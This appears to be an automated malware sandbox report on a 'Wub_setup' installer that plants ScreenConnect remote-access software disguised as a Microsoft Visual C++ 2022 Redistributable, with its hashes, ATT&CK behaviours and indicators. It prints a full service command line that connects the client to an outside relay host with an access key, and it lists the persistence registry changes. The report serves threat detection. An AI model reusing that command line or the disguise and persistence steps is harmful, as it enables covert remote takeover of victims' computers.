Overview
overview
8Static
static
3Wub_setup\...er.dll
windows10-2004-x64
8Wub_setup\...er.dll
windows11-ltsc_2024-x64
8Wub_setup\...up.exe
windows10-2004-x64
8Wub_setup\...up.exe
windows11-ltsc_2024-x64
8Wub_setup\...20.dll
windows10-2004-x64
1Wub_setup\...20.dll
windows11-ltsc_2024-x64
1Wub_setup\...20.dll
windows10-2004-x64
1Wub_setup\...20.dll
windows11-ltsc_2024-x64
1Wub_setup\...20.dll
windows10-2004-x64
1Wub_setup\...20.dll
windows11-ltsc_2024-x64
1Wub_setup\...40.dll
windows10-2004-x64
1Wub_setup\...40.dll
windows11-ltsc_2024-x64
1Wub_setup\...40.dll
windows10-2004-x64
1Wub_setup\...40.dll
windows11-ltsc_2024-x64
1Wub_setup\...0u.dll
windows10-2004-x64
1Wub_setup\...0u.dll
windows11-ltsc_2024-x64
1Wub_setup\...40.dll
windows10-2004-x64
1Wub_setup\...40.dll
windows11-ltsc_2024-x64
1Wub_setup\...40.dll
windows10-2004-x64
1Wub_setup\...40.dll
windows11-ltsc_2024-x64
1Wub_setup\...40.exe
windows10-2004-x64
3Wub_setup\...40.exe
windows11-ltsc_2024-x64
3Wub_setup\...40.dll
windows10-2004-x64
1Wub_setup\...40.dll
windows11-ltsc_2024-x64
1Wub_setup\...in.dll
windows10-2004-x64
1Wub_setup\...rt.dll
windows10-2004-x64
1Wub_setup\...se.dll
windows10-2004-x64
1Analysis
- max time kernel
149s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/09/2026, 08:59
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
Wub_setup\SqlSetupBootstrapper.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
17 signatures
150 seconds
Behavioral task
behavioral2
Sample
Wub_setup\SqlSetupBootstrapper.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
18 signatures
150 seconds
Behavioral task
behavioral3
Sample
Wub_setup\Wub_setup.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
17 signatures
150 seconds
Behavioral task
behavioral4
Sample
Wub_setup\Wub_setup.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
18 signatures
150 seconds
Behavioral task
behavioral5
Sample
Wub_setup\redist\2013\msvcp120.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral6
Sample
Wub_setup\redist\2013\msvcp120.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral7
Sample
Wub_setup\redist\2013\msvcr120.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral8
Sample
Wub_setup\redist\2013\msvcr120.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral9
Sample
Wub_setup\redist\2013\vcomp120.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral10
Sample
Wub_setup\redist\2013\vcomp120.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral11
Sample
Wub_setup\redist\2022\concrt140.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral12
Sample
Wub_setup\redist\2022\concrt140.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral13
Sample
Wub_setup\redist\2022\mfcm140.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral14
Sample
Wub_setup\redist\2022\mfcm140.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral15
Sample
Wub_setup\redist\2022\mfcm140u.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral16
Sample
Wub_setup\redist\2022\mfcm140u.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral17
Sample
Wub_setup\redist\2022\msvcp140.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral18
Sample
Wub_setup\redist\2022\msvcp140.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral19
Sample
Wub_setup\redist\2022\vccorlib140.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral20
Sample
Wub_setup\redist\2022\vccorlib140.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral21
Sample
Wub_setup\redist\2022\vcomp140.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral22
Sample
Wub_setup\redist\2022\vcomp140.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
1 signatures
150 seconds
Behavioral task
behavioral23
Sample
Wub_setup\redist\2022\vcruntime140.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral24
Sample
Wub_setup\redist\2022\vcruntime140.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
0 signatures
150 seconds
Behavioral task
behavioral25
Sample
Wub_setup\redist\msvcp_win.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral26
Sample
Wub_setup\redist\msvcrt.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral27
Sample
Wub_setup\redist\ucrtbase.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
0 signatures
150 seconds
General
- Target Wub_setup\SqlSetupBootstrapper.dll
- Size 19KB
- Sample260930-kxzhssvapd
- SHA256 51a48213f2149a80c0aa530a7087803e84c37d2733bb937ef8e6d6b125f9fb32
- MD5 9443965e2e8e3ed76b4d186fda98c8d8
- SHA1 ca246ad46577d4cd0ffc0dd1e9b89857e26bb801
- SHA512 cf3f14557559de25b64186e8e8df26842f533fd86b4b7732e5e047742157e7fb885c2022a8497d80f61b4ed7be4251fd34b8c4e442801ae6bf3bd81abe84ef2c
- SSDEEP 384:OSigFBM0oFM8udItQmuHZ/STP1tNNNS0RaX2v7:OxgFBM0oe8uiQDZ/STP1tNNN4i7
- TLSH T12D92B67FFB23A46DC087D2B872CECEB271F9FD444420191D4751A6303E66A649BBD682
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4664 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\14.38.33135.0\ImagePath = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2022\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=open2.trusts-vpns.top&p=8041&s=178b8604-c0dd-49c3-bcbf-7e3d1d94fd0f&k=BgIAAACkAABSU0ExAAgAAAEAAQDh1HVupm5iXxjYyDV0%2fxywNz8XTVBXHV0FcN%2fvzPNkVHPnMzYk9zJjvg%2fXZ4IVicLklsytX9cR2rP%2b3PxnVRBUNqeU25v9uU4USLps0UQ3BOOiDWZumm%2fRK1%2f%2fJAY7i%2fN4Is9Toip06z9ZHbmrmDbQ5PfkgApQ6p8Lcz4PPSe%2boF0Y210DvO5cMejj8t6aLXFB%2bnRrGcgeMbskK3DIHs0hEp6nZ%2f%2bhxHfEArKpnsA%2fN81eMKQ57nxKBc%2b5RREQNlrlQbLAUfJ9cUY2A70sSyhmU%2bYEMoxw4eDyyb4l3xjuEbt%2bQ%2fqmBrDkqIw%2fSeuP5ke1zExx%2fdZ1O9OC6nB0QW3K&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAgmur5uptdkCiRUhzqcqr7wAAAAACAAAAAAAQZgAAAAEAACAAAACBS%2fZgWry3jNipWjXae2Fx5a3bIwf00kesNEr2Mc93pQAAAAAOgAAAAAIAACAAAAAGwO87dXLIcapuFU00imoXNw82w%2fQFIKW5ZHTn%2bUO45aAEAADnAamrt10dthANdGtKcr7SgpjKAU%2bHHl3Zo4jindgn1uVdvVh8viDGQ39k8N%2btkgvScjWfTsq%2bxBu8lcJ1l%2fEDPA4YP8mbNSSm%2bCJe%2fpBsdWAOnK%2beovXa%2f53WqMfDZYVonSAdv8ddLiovk07JmMauyRKrnc1OTQdlLuWkgqi29XsspQwmsvckODRhFOMtlvm3ZJtePdCsnucpuwjWsUkh9VwnDzDfR3eQRvI%2fgFNIuw2ra16LEAT7t%2bKmWvsrKUfEFhhYSofWSveRgOMSljY1KoQsNe3z4h1TeoIEGSA%2bmZfUPZb6Mp5PdNAcctuzwReTV4Dax%2fZnZuZ4HFOTjeXr5MQhMezyxaWcmQqCW39bC7FJazRTzCFiNkF4kzg%2bk38dy2dUCBJYWIKnJGo2E9KRPiWiTzaln%2bF%2bwVl6CYKj2uscU7wm7GqVW8chyn1G6Tqk6UpA5W2jn3Lfi3RDtSqIUieJrzhiM2YFZ6lJ%2fOYX1KgYVTXR51fkL6w33%2bDV2z78SnZ3OEDcJcm1CFCKO3QaqOXJQYQ4Og%2bnM4oP9XgzS3dbTIb5lqGKhTTuMMS4X5iNlIrhWIExxVa2f5rznjWt1WbHUi1APHT%2f%2bzR7HkIXnRLeS3k87WlpwX0uP4gqwqo%2f7VgL9kG5rJ3bLinukvsbq9T298xuR5hiXoHYwyjMtYmq76PMeb4Z8Syf8Y8dYIn%2fSP%2fr7UCuHeix33e1Xo0VCu8IzzYfK7F98uq%2bGbXmoyyjER29ndVH1kGfE4EfKssHjWlih8krARl9RsTDsuwicXVAI7mmIteWLs9qKFzTrgon2tEA%2btqOTAbncymN9ct9b8aGM13xhNvNCObuOu2AYvjF4MD5CpJcvy8%2bfXcTwu6BiUMwRpJdnyXndmyj7vKEhIKCQI1HTbsZ6KRL361511fRdAL0OGmzsRnl8QtKNOt%2fqCotjQ0ZfOstWeWvPea6EoVnBOuGDeF0WttgrdDAO86PgCpCgMVkxMu3X5v3Bg6nSdE5KRBJlb%2f%2fzwUCps4GwEAXvNYtEKF105Dvc%2fgIEYYsw3bIv5l1sm8b2QCuQSQSKr2Ofc4xWCDOQl7nrxfpb2OKa3ChAfd%2bJ3wXQhV9Xlv%2fcmLRYlHtssmSBl3sn8NaI8b42ZZM0gNCfc5LAUDrfdqGvSYZfULsj6Ytlx%2f%2fsyGiWIhsFk0El0g6niIFxCi1yXFjhbHlmbi%2fPV11I1QaIG%2fI%2fxKxLWOrzk46vYZHRM0%2bXV%2biG5HyEoNDDRA7dOXFvjOBYz7YBSS%2beS7coT0RvFpBAxjW5BOnobZvflYFV5d5MWrNBuAqbsyUjS4fLhq7qS6%2bDyYiAobbzBa3D5HpqESIbmJHGCeglV1l8NQk8JfuVHeaVSWMbtnTWesj1C3uhqv6ICbea8hoFjeAgl%2bM%2bnafZopJuaOXRRwUaAtwgbVkksrQt%2bWukk0lVFBWuKQ4S%2bu0xDkI1XWGzq%2blFMKZuuzcCgJhaqBiKBzQvcVEDtcYMqmGNS1CwrHgjvWfhcHXBfd9FtJaX24iI6AIDVwUcw5qF8ug0OiJKxstp08V1b87Z%2fZe96H94nbMltcFokAAAADKrX%2fyjHymi7RR7v9GI52OsNKpSOENaFq4tGZ7y%2fA5aMvxqIC5Gjt7wnl5znv3Xxa38FTStecbG0826Dbbz%2fE5&c=Wub_setup\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 7 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/files/0x000d00000001c52b-110.dat revoked_cert_connectwise behavioral2/files/0x000e00000001c523-143.dat revoked_cert_connectwise behavioral2/files/0x000d00000001c528-145.dat revoked_cert_connectwise behavioral2/memory/2760-146-0x0000000004C10000-0x0000000004CEC000-memory.dmp revoked_cert_connectwise behavioral2/memory/2760-144-0x0000000004690000-0x00000000046D1000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000d00000001c526-151.dat revoked_cert_connectwise behavioral2/memory/3220-162-0x000000001B6D0000-0x000000001B711000-memory.dmp revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 2 IoCs
pid Process 2760 ScreenConnect.ClientService.exe 3220 ScreenConnect.WindowsClient.exe - Loads dropped DLL 22 IoCs
pid Process 5048 MsiExec.exe 756 rundll32.exe 756 rundll32.exe 756 rundll32.exe 756 rundll32.exe 756 rundll32.exe 756 rundll32.exe 756 rundll32.exe 756 rundll32.exe 756 rundll32.exe 5048 MsiExec.exe 1968 MsiExec.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe \??\F:\ msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe \??\F:\ powershell.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c004d006900630072006f0073006f00660074002000560069007300750061006c00200043002b002b00200032003000320032005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.resources msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\system.config msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\app.config msiexec.exe File created C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.ClientService.exe msiexec.exe - Drops file in Windows directory 35 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformLicenseXml.xsl rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformSessionGroupXml.xsl rundll32.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\ScreenConnect.Core.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformAppConfigXml.xsl rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformRoleXml.xsl rundll32.exe File created C:\Windows\Installer\SourceHash{CEAFC723-0A16-6995-066D-C9B4CF202DB1} msiexec.exe File created C:\Windows\Installer\{CEAFC723-0A16-6995-066D-C9B4CF202DB1}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF389DE7EFBC425FEB.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF341C30ABDE4E882F.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformClientOverrideResx.xsl rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformSecurityEventTriggerXml.xsl rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\CustomAction.config rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformSessionEventTriggerXml.xsl rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformWebConfig.xsl rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File created C:\Windows\SystemTemp\~DF64116E9395B78130.TMP msiexec.exe File created C:\Windows\Installer\e59ae09.msi msiexec.exe File created C:\Windows\SystemTemp\~DFA5A38D96C0A69590.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIBBC6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBCF0.tmp msiexec.exe File created C:\Windows\Installer\e59ae0d.msi msiexec.exe File opened for modification C:\Windows\Installer\e59ae09.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\TransformOverriddenKeys.xsl rundll32.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIBB77.tmp msiexec.exe File created C:\Windows\Installer\wix{CEAFC723-0A16-6995-066D-C9B4CF202DB1}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\{CEAFC723-0A16-6995-066D-C9B4CF202DB1}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB27D.tmp-\ScreenConnect.Windows.dll rundll32.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe - Modifies registry class 37 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\SourceList\PackageName = "SCA87B.tmp" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a54b7805ae807ed5\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a54b7805ae807ed5\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a54b7805ae807ed5\shell\open\command\ = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2022\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\327CFAEC61A0599660D69C4BFC02D21B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-77AB-A0917DBBF150}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-77AB-A0917DBBF150}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a54b7805ae807ed5\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-77AB-A0917DBBF150}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Visual C++ 2022\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a54b7805ae807ed5\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a54b7805ae807ed5\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-77AB-A0917DBBF150}\ = "Microsoft Visual C++ 2022 Redistributable (x64) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\PackageCode = "327CFAEC61A0599660D69C4BFC02D21B" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\0894A2D0F2D58C945AB48750EA08E75D msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a54b7805ae807ed5 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-77AB-A0917DBBF150} msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\Version = "237404527" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\ProductIcon = "C:\\Windows\\Installer\\{CEAFC723-0A16-6995-066D-C9B4CF202DB1}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\0894A2D0F2D58C945AB48750EA08E75D\327CFAEC61A0599660D69C4BFC02D21B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\327CFAEC61A0599660D69C4BFC02D21B\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\ProductName = "Microsoft Visual C++ 2022 Redistributable (x64)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a54b7805ae807ed5 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a54b7805ae807ed5\shell\open msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\327CFAEC61A0599660D69C4BFC02D21B msiexec.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4664 powershell.exe 4664 powershell.exe 4932 msiexec.exe 4932 msiexec.exe 2760 ScreenConnect.ClientService.exe 2760 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
